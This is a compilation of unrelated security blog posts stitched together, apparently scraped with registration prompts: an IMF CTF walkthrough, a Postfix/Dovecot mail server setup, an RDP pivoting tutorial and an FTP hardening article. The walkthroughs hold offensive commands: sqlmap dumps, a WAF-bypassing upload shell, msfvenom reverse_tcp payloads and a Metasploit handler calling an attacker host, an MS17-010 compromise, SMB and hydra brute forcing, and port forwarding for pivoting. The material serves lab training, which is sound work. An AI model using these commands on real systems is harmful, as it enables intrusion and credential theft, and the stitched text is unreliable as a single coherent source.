Hello friends! Today we are going to take another CTF challenge known as IMF. The credit for making this vm machine goes to “Geckom” and it is another CTF challenge where we have to find 6 flags to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.25 but you will have to find your own)
netdiscover

Use nmap for port enumeration
nmap -sV  192.168.0.25

We find port 80 is open, so we open the ip address in our browser.

We take a look at our source code and found a few javascript files that look like base64 encoded.

We open them and find nothing interesting but when we join their name and decode them we find our 2nd flag.
Inside the flag we find another base64 encode string, decoding it we find a string called imfadministrator.

We take a look around the website and in the source code of contact.php page we find our 1st flag.

Flag 1 contains a base64 encoded string decoding it we find a string called allthefiles.
We open allthefiles and imfadministrator on the browser. We find that imfadministrator is a directory that leads to a login page.

In the contact.php page we found a few email addresses so we use cewl to make a dictionary.

We use burpsuite to launch a dictionary attack. We select the position and change the password from string to array.

Now we find the third flag in our response, when the login is successful.

Now that we can access the page we see that the page might be vulnerable to sql injection.

Using burpsuite we capture the request of this page and save it in a text file.

We use sqlmap to dump the database.
sqlmap -r /root/Desktop/imf.txt –dbs –batch –dump-all

We find the name of the pages along with another page called tutorial-incomplete. We open it on our browser and find a page with QR-code inside an image.

When we decode the QR-code we our 4th flag.

Inside our flag we find a base64 encoded string, when we decode it we find a string called uploadr942.php       
We open it on our browser and find a page to upload a file.

Now while uploading a shell we find that it is protected from WAF, so we create a custom shell and save it as GIF file to bypass the WAF.

Now we upload the file and check the response from the server to find where our file is uploaded.

We find server sends a string in a comment, we find our file is in uploads folder and the comment in the response sent by server is the name of our file.

After finding our shell, we find 5th flag. Now we use web_delivery to take reverse shell using metasploit.

We setup our metasploit for web delivery and execute the command on our shell.

Now that we have the reverse shell we take a look inside 5th flag

We find a base64 encode string when we decode it we find a string agentservices.
We check the connections of our server using netstat
netstat -antp

We found a service running on port 7788, we use curl to find what the server is running on port 7788.
curl localhost:7788

We find a service called agent is running so we find the location of agent using which command
which agent

When we move into the folder we found a file called access_codes, we open it and find a few numbers. It looks like a sequence for port knock.
So we knock the server and find that port 7788 opened.
Knock 192.168.0.25 7482 8279 9467

Now we download agent program file to our system for reverse engineering.
download agent /root/Desktop

Now we reverse engineer the file to find an exploit. First we disassemble main function.
gdb -q agent
disassemble main

We find that at memory address 80486ba, string compare function takes place so we add a break point there.

We break the program at 80486ba, and run the program. After running the programs, we look at the memory locations associated with the program.
break *0x80486ba
info registers

We look inside four halfwords of memory above starck pointer
x/4xw 0xffffd340

In the memory address 804c070 we found the password to access the program.
x/s 0x0804c070

Now we access the program from the server using netcat and find that the string can give us access to the program
netcat 192.168.0.25 7788

Now we create an exploit for this program, first we create a shellcode for msfvenom payload.
msfvenom –p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.15 lport=4444 –f python –b \x00\xa0\x0d

Now we create our exploit using python. We manually fuzz the memory location inside our exploit.

We setup our handler on metesploit and execute the shell.
msf > use exploit/multi/handler
msf exploit (handler) > set payload linux/x86/meterpreter/reverse_shell
msf exploit (handler) > set lhost 192.168.0.15
msf exploit (handler) > set lport 4444
msf exploit (handler) > run

now we check for sessions and take the interactive shell
msf exploit (handler) > sessions
msf exploit (handler) > sessions -i 3

Now we take shell check our privileges, we find that we are root. When we move inside the /root/ folder we find our 6th and final flag.


From Wikipedia
Hello friends! Today we are discussing “configuration of SMTP mail server” for sending mail in your LAN network. 
SMTP stands for simple mail transfer protocol communication between mail servers uses TCP port 25 Mail clients. For retrieving messages, client applications usually use either IMAP or POP3.
POP3 stands for Post Office Protocol (POP) is an application-layer Internet standard protocol used by local e-mail clients to retrieve e-mail from a remote server over a TCP/IP connection. It uses port 110 for receiving mail.
IMAP stands for Internet Message Access Protocol (IMAP) is also an Internet standard protocol used by e-mail clients to retrieve e-mail messages from a mail server over a TCP/IP connection. It uses port 143 for receiving mail.
Let’s start!!
Add Hostname and domain
With root privilege open hosts file for adding hostname and Domain name through the following command:
sudo gedit /etc/hosts
1
sudo gedit /etc/hosts
Now add given below line in the host file and then save it.
127.0.0.1 mail.ignite.lab ignite

Open hostname file with root privilege for changing the default hostname.
sudo gedit /etc/hostname
1
sudo gedit /etc/hostname
Now re-write the default hostname as “ignite” which we have mentioned in host file also, as shown in the given image and save it.

Now restart the machine after making changes in the hosts’ file and hostname.
sudo reboot
1
sudo reboot
Now check hostname and domain by typing following command and assured the changes you had made.
hostname
hostname -f
1
2
hostname
hostname -f

Install Postfix
Postfix is the default Mail Transfer Agent (MTA) for Ubuntu. It is in Ubuntu’s main repository, which means that it receives security updates. This guide explains how to install and configure postfix and set it up as an SMTP server using a secure connection.
sudo apt-get install postfix
1
sudo apt-get install postfix

A dialog box will pop for Postfix Configuration where you have to select Internet site as a general type of mail configuration as shown in the given image.

Enter Domain name (mail.ignite.lab) which you have to save inside the host file for system mail name and click on OK.

Postfix Configuration Setting
Open main.cf file and make the following changes in this then save it.
sudo gedit /etc/postfix/main.cf
1
sudo gedit /etc/postfix/main.cf

• Add subnet IP my networks = 127.0.0.0/8 192.168.1.0/24
  
• Enter inet_protocols = ipv4
  
• Add new line home_mailbox = Maildir/
  

Execute given below command after making changes in the configuration file.
sudo service postfix restart
1
sudo service postfix restart

Now Type the following command to view the list of the open port to listen for incoming connections.
netstat -tnl
1
netstat -tnl
From the given image you can observe that STATE of port 25.

Install Dovecot
Dovecot is a Mail Delivery Agent, written with security primarily in mind. It supports the major mailbox formats: mbox or Maildir. This section explains how to set it up as an IMAP or pop3 server.
sudo apt-get install dovecot-imapd dovecot-pop3d
1
sudo apt-get install dovecot-imapd dovecot-pop3d

A dialog box will pop for configuring dovecot-core where you can select yes for creating a self –signed SSL certificate.

Another POP up will ask hostname that will be used in SSL certificates. Enter your domain name as shown in the given image and click on OK.

Dovecot configuration setting
Open 10-auth.conf file through given below path:
sudo gedit /etc/dovecot/conf.d/10-auth.conf
1
sudo gedit /etc/dovecot/conf.d/10-auth.conf
Now make the following changes in this as shown in the given image then save it.
disable_plaintest_auth = yes
1
disable_plaintest_auth = yes

change auth mechanisms = plain login

Open 10-mail.conf file through given below path:
sudo gedit /etc/dovecot/conf.d/10-mail.conf
1
sudo gedit /etc/dovecot/conf.d/10-mail.conf
Now make the following changes in this as shown in the given image then save it.
mail_location =  maildir:/home/%u/Maildir
1
mail_location =  maildir:/home/%u/Maildir

Open 10-master.conf file through given below path:
sudo gedit /etc/dovecot/conf.d/10-master.conf
port = 143
1
2
sudo gedit /etc/dovecot/conf.d/10-master.conf
port = 143

port = 110
1
port = 110

Give permission for unix_listener auth-user DB
Mode = 0600
User = postfix
Group = postfix
1
2
3
Mode = 0600
User = postfix
Group = postfix

sudo service dovecot restart
1
sudo service dovecot restart

Check service using netstat –tnl to view the list of the open port to listen for incoming connections
From the given image you can observe STATE LISTEN for port 110 and 143.

Configure Mail Account in Thunderbird
We have already a user: sr let’s configure a mail account for him by adding following information in the given text field

• Your name: sr
  
• Email address: [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
  Register or Login
  
• Password: 1234 (user’s password)
  

Now click on continue then choose manual config tab.

Enter your network IP as server hostname (192.168.1.107) for incoming mail on port 143 and outgoing mail via port 25. Then click on done.

A new window will come up for security Exception click on tab Confirm security Exception given at the bottom.

For sending mail we always need two users to account one as sender another for the receiver. Now type the following command to add a new user.
adduser raj
Since we had already configure an account for userr in thunderbird , now create another mail account for usre:raj in thunderbird as created above.
Hence we are having two accounts in a mail server for sending the message

• Sender: [email protected]
  
• Receiver: [email protected]
  

Send mail using Thunderbird
Now write an Email from: [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login to [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login for testing mail server service as shown in the given image. Click on send after typing message.

Open the inbox of receiver account where you will get a mail from [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login as shown in the given image.
In this way, you can configure your own mail server for the local network.


In our previous tutorial we had discussed on

[To see content please register here]

and today we are going to discuss RDP pivoting.
From Offensive Security
Pivoting is a technique to get inside an unreachable network with help of pivot (center point). In simple words, it is an attack through which an attacker can exploit that system which belongs to the different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then the attacker will able to target the client system for the attack.
Lab Setup requirement:
Attacker machine: Kali Linux
Pivot Machine (server): window operating system with two network interface
Target Machine (client): window 7 (Allow RDP service)


Use exploit MS17-010 or multi handler to hack the pivot machine and bypass its UAC to achieve admin privileges.
sessions
1
sessions
Hence if you will count then currently attacker has hold 2 sessions, 1st for meterpreter shell and 2nd for bypass UAC of the server.

Check the network interface through the following command:
meterpreter> ifconfig
1
meterpreter> ifconfig
From the given image you can observe two networks interface in the victim’s system 1st for IP 192.168.0.27 through which the attacker is connected and 2nd for IP 192.168.100.100 through which clients (targets) are connected.

Since the attacker belongs to 192.168.0.1 interface and client belongs to 192.168.100.0 interface, therefore, it is not possible to directly make an attack on client network until unless the attacker acquires the same network connection. In order to achieve 192.168.100.0 network attacker need to run the post exploitation “autoroute”.
This module manages session routing via an existing Meterpreter session. It enables other modules to ‘pivot’ through a compromised host when connecting to the named NETWORK and SUBMASK. Autoadd will search a session for valid subnets from the routing table and interface list then add routes to them. The default will add a default route so that all TCP/IP traffic not specified in the MSF routing table will be routed through the session when pivoting.
msf > use post/multi/manage/autoroute
msf post(autoroute) > set session 2
msf post(autoroute) > exploit
1
2
3
msf > use post/multi/manage/autoroute
msf post(autoroute) > set session 2
msf post(autoroute) > exploit
Note: If you had not to bypass UAC you can use session 1 for post exploit.

This Module will perform an ARP scan for a given IP range through a Meterpreter Session.
use post/windows/gather/arp_scanner
msf post(arp_scanner) > set rhosts 192.168.100.100-110
msf post(arp_scanner) > set session 2
msf post(arp_scanner) > set threads 20
msf post(arp_scanner) > exploit
1
2
3
4
5
use post/windows/gather/arp_scanner
msf post(arp_scanner) > set rhosts 192.168.100.100-110
msf post(arp_scanner) > set session 2
msf post(arp_scanner) > set threads 20
msf post(arp_scanner) > exploit
Here we found a new IP 192.168.100.103 as shown in the given image. Let’s perform TCP port scan for activated services on this machine.

This module Enumerates open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting.
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set ports 445,3389
msf auxiliary(tcp) > set rhosts 192.168.100.103
msf auxiliary(tcp) > set threads 10
msf auxiliary(tcp) >exploit
1
2
3
4
5
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set ports 445,3389
msf auxiliary(tcp) > set rhosts 192.168.100.103
msf auxiliary(tcp) > set threads 10
msf auxiliary(tcp) >exploit
From given you can observe port 3389 and port 445 are open and we know that 3389 is used for RDP and 445 is used for SMB.

This module will test an SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
use auxiliary/scanner/smb/smb_login
msf exploit (smb_login)>set rhosts 192.168.100.103
msf exploit (smb_login)>set user_file /root/Desktop/user.txt
msf exploit (smb_login)>set pass_file /root/Desktop/pass.txt
msf exploit (smb_login)>set stop_on_success true
msf exploit (smb_login)>exploit
1
2
3
4
5
6
use auxiliary/scanner/smb/smb_login
msf exploit (smb_login)>set rhosts 192.168.100.103
msf exploit (smb_login)>set user_file /root/Desktop/user.txt
msf exploit (smb_login)>set pass_file /root/Desktop/pass.txt
msf exploit (smb_login)>set stop_on_success true
msf exploit (smb_login)>exploit
From the given image you can observe the highlights pentest: 123 has success login.

Now Type the following command for port forwarding on localhost.
meterpreter> portfwd add –l 3389 –p 3389 –r 192.168.100.103
1
meterpreter> portfwd add –l 3389 –p 3389 –r 192.168.100.103
-l: This is a local port to listen on.
-p: The remote port to connect on.
-r:  The remote host address to connect on.

Now type the following command to connect RDP client on localhost through port 3389
rdesktop 127.0.0.1:3389
1
rdesktop 127.0.0.1:3389

Now it will ask to enter the credential for connecting with RDP client; Enter the combination of username and password you have retrieved from SMB login Exploit.
If you remembered we have retrieved pentest: 123 through smb login exploit which we are using for login.

Wonderful!! We had successfully exploited the RDP client.


Security on every layer has become mandatory. Port security always make a difference by securing the network as it helps to avoid receiving or sending packets from unknown devices. Using port security, one can limit the number of MAC addresses on a given port or can specify the only IP address that can be connected. This will make all other packets are restricted. You can apply such security measures on every port. In today’s article, we will learn to apply the said security on the FTP port.
Table of Content

• Introduction to FTP
  • Uses of FTP
    
  • Working of FTP
    
• Penetration Testing on FTP
  • Installation of FTP
    
  • Anonymous Login
    
  • Disable FTP_banner
    
  • Switch Port for FTP Service
    
  • Sniffing FTP Login credential
    
  • Use SSL Certificate against Sniffing
    
  • Stop FTP Brute_Force Attack with Fail2ban
    
  • Restrict IP to Connect FTP
    

Introduction to FTP
FTP is a file transfer protocol, used to transfer files between a network using TCO/IP connections via Port 20/21. It is basically a client-server protocol. As it works on TCP, it requires two communication channels between client and server: a command channel and data channel. The command channel is for controlling the conversation between client and server whereas data connection is initiated by the server to transfer data.
Uses of FTP

• An FTP site is a web site where users can easily upload or download specific files.
  
• FTP by mail allows users without access to the Internet to access and copy files using anonymous FTP by sending an email message to [email protected] and putting the word help in the body of the text.
  
• FTP Explorer is an FTP client based on Windows 95 file manager (Windows 95 Explorer).
  
• An FTP server is a dedicated computer which provides FTP service. This invites hackers and necessitates security hardware or software such as utilizing usernames, passwords, and file access control.
  
• An FTP client is a computer application which accesses an FTP server. While doing so, users should block incoming FTP connection attempts using passive mode and should check for viruses on all downloaded files.
  

Working of FTP
FTP works as just like HTTP and SMB protocols. When the FTP server is configured in a network then a specific folder is defined as a shared folder in order to share files. Users can access this file server via FTP. FTP is often authenticated by sign-in protocol; however, FTP server may be configured to accept anonymous as login credentials. But now, it’s mostly FTP with SSL/TLS.
When transferring files through FTP, the user’s machine is called the local host machine and is connected to the internet. Another machine is called the remote host which has FTP running on it and is too connected to the internet. Now, in order to transfer the files, the local host machine connects to remote host’s IP. Then the user must enter the username and password. FTP always provides GUI which makes file transfer user-friendly, here, you can transfer files by drag-and-drop method. Otherwise, you can simply use FTP commands for the desired transfer.
Penetration Testing on FTP
Requirements:

• FTP server: Ubuntu
  
• Attacking machine: Kali
  
• Client machine: Windows
  

Installation of FTP
Installation FTP is quite easy. To install FTP, open the terminal in ubuntu as root user and type:
apt install vsftpd
1
apt install vsftpd

Once FTP is installed use nmap to confirm and to do so, type the following command:
nmap -p21 192.168.1.102
1
nmap -p21 192.168.1.102
As you can see that FTP is working on port 21.

Anonymous Login
As I have mentioned before, that FTP credentials can be set to anonymous and this is found often on many FTP servers. FTP users may authenticate themselves with a clear-text sign-in protocol, normally in the form of a username and password, but can connect anonymously if the server is configured to allow it. So, let’s see how it will be done by first configuring it anonymous. Open vsftpd.conf using nano or any other text editor. Find “anonymous_enable=NO” statement as shown in the image below:

Change NO to YES to enable anonymous as shown here:

Now let’s check it from nmap by using the following command:
nmap -A -p21 192.168.1.102
1
nmap -A -p21 192.168.1.102

As the result shown by nmap, you can see that port 21 is open and you some details about it to like its version. Now, let’s try and log in FTP using anonymous as our credentials. Now, let’s try and login:
ftp 192.168.1.102
1
ftp 192.168.1.102
Enter anonymous as username and password as shown in the image below as you will find you in the ftp server.

Disable FTP_banner
Now if you scan ftp from nmap you will its version:
nmap -sV 192.168.1.102
1
nmap -sV 192.168.1.102

As this visibility of the version can leave you vulnerable to various exploits lets now learn how you will protect yourself by hiding the banner of ftp. For this, again open vsftpd.conf file using any desired text editor.

In the conf file fond the statement “ ftpd_banner=welcome to blah FTP service”. From this statement remove the # symbol as shown in the image below :

Now if you again scan from nmap if will hide the banner. Try it by using the following command:
nmap -sV -p21 192.168.1.102
1
nmap -sV -p21 192.168.1.102

Switch Port for FTP Service
Like this, you can add another security layer by changing the port of ftp. You can start the service of ftp on any port you like. Here, we have shifted the FTP port to 5000. For this, find the statement “listen_port=21” in the ftp conf file. Change the port number to 5000, or any other number as you desire, as shown in the image below:

Save the file and restart the service of ftp. Now if you scan from nmap you will find the port is now on 5000. Applying such layer of security helps to confuse attackers.

Sniffing FTP Login Credential
By default, the traffic sent to and received from ftp is not encrypted. An attacker can take help of sniffing tools to sniff the data packet traveling between server and client in a network and retrieve credential. And then use them for unauthorized access. As we have discussed above FTP users may authenticate themselves with a clear-text sign-in protocol for username and password.

Similarly, if we capture TCP packet through Wireshark for sniffing FTP credential. So, now try and log in to ftp using the following commands:
ftp 192.168.1.102 5000
1
ftp 192.168.1.102 5000
Give the username and password.
Capture the traffic using Wireshark. Now, in Wireshark, if you follow the TCP stream of the packet, you can see the login credentials in clear text as shown in the following image:

Use SSL Certificate against Sniffing
So, for this, let’s add another security layer for the problem generating above. The solution for this is creating an SSL certificate. SSL stands for Secure Sockets Layer, the protocol which provides secure, encrypted communications between server and client, this encrypted data packet traveling between server-client networks.
Although an attacker can sniff network data packet but will be not able to read fetched information because entire data will show in the form of ciphertext.
Here administrations need to generate their own SSL certificate for secure authentication. Make the directory where the SSL certificate keys will be stored.
Use the following command to create a certificate:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/vsftpd.pem -out /etc/ssl/private/vsftpd.pem
1
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/vsftpd.pem -out /etc/ssl/private/vsftpd.pem

Once the above command is executed, open vsftpd.conf file for changing default setting by adding a few lines at the end of the file. Following are the lines to be added:
rsa_cert_file=/etc/ssl/private/vsftpd.pem
rsa_private_key_file=/etc/ssl/private/vsftpd.pem
ssl_enable=YES
allow_anon_ssl=NO
force_local_data_ssl=YES
force_local_logins_ssl=YES
ssl_tlsv1=YES
ssl_sslv2=NO
ssl_sslv3=NO
require_ssl_reuse=NO
ssl_ciphers=HIGH
1
2
3
4
5
6
7
8
9
10
11
rsa_cert_file=/etc/ssl/private/vsftpd.pem
rsa_private_key_file=/etc/ssl/private/vsftpd.pem
ssl_enable=YES
allow_anon_ssl=NO
force_local_data_ssl=YES
force_local_logins_ssl=YES
ssl_tlsv1=YES
ssl_sslv2=NO
ssl_sslv3=NO
require_ssl_reuse=NO
ssl_ciphers=HIGH

Now let’s ensure whether we can connect to FTP server.
Protocol to: FTP
Encryption To: TSL/SSL Explicit encryption
Hostname: IP of the FTP Server
Port: 21
Username and Password: raj: 123
1
2
3
4
5
Protocol to: FTP
Encryption To: TSL/SSL Explicit encryption
Hostname: IP of the FTP Server
Port: 21
Username and Password: raj: 123

Now the server will send the certificate to an authorized user click on yes to store certificate and continue the encrypted connecting.

Now, when you will establish the connection of FTP as shown in the image below:

All the traffic that is sent and received is encrypted which you can check through Wireshark.  It has also shown below:

Stop FTP Brute_Force Attack with Fail2ban
Hydra is often the tool of choice for bruteforce. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, FTP, HTTP, HTTPS, SMB, several databases, and much more. Now, to bruteforce our ftp server we need to choose a word list. As with any dictionary attack, the wordlist is key.
Run the following command to execute bruteforce :
hydra -L user -P pass 192.168.1.102 ftp
1
hydra -L user -P pass 192.168.1.102 ftp

As you can see, using hydra we have logged in credentials and so are a bruteforce attack is successful. But we can protect our ftp server and important files. To be secure against bruteforce, you can use the fail2ban tool.  To get a detailed guide on fail2ban tool read our other article from

[To see content please register here]

.

Once you have limited the bruteforce attack through fail2ban. You can try and use hydra again, but you will get a negative result as shown in the image below:

Restrict IP to connect FTP
Another security layer that you can apply is blocking all other IPs and allowing your trusted ones. Now open hosts.allow file from inside /etc to allow the valid user to connect with server securely through specific IP. At the end of text file enter specific IP to whom you want to give permission for establishing a connection as shown in the given image.

It quite important that admin should restrict all IPs other than allowed IP (192.168.0.106) to protect the network from establishing connect from unknown IP.
Open /etc/hosts.deny and specify a list of hosts whom you want don’t to allow access into the system.

Now open configure file of vsftpd and add following lines:
# TCP Wrappers
tcp_wrappers=Yes
1
2
# TCP Wrappers
tcp_wrappers=Yes

Now if you connect from the allowed IP to ftp then you will log in as you can see in the image below :

But it will block other IPs as shown below :

Conclusion
FTP was discovered around four decades earlier. And since then, there have been substantial changes as it has developed a lot over time. These changes have been related to encryption standards and file transfer functionality.